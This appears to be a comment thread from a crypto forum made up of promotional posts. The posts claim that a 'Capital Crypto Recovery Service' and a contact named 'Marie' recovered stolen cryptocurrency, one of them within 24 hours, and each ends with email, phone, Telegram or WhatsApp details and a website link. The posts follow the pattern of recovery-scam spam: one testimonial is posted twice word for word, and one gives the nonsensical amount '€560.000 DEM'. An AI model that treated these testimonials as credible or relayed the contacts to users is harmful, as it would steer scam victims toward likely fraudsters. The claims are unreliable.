https://recovercapital.wixsite.com/capital-crypto-rec-1
-
14.10.25 08:46
robertalfred175
CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: 📧 Email: [email protected] 📱 Telegram: @Capitalcryptorecover Contact: [email protected] 📞 Call/Text: +1 (336) 390-6684 🌐 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
-
15.10.25 18:07
crypto
Cryptocurrency's digital realm presents many opportunities, but it also conceals complex frauds. It is quite painful to lose your cryptocurrency to scam. You can feel harassed and lost as a result. If you have been the victim of a cryptocurrency scam, this guide explains what to do ASAP. Following these procedures will help you avoid further issues or get your money back. Communication with Marie ([email protected] and WhatsApp: +1 7127594675) can make all the difference.
-
15.10.25 21:52
harristhomas7376
"In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
-
15.10.25 21:52
harristhomas7376
"In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
To join the Chat, you need a free pro-blockchain.com account.
Enter
Registration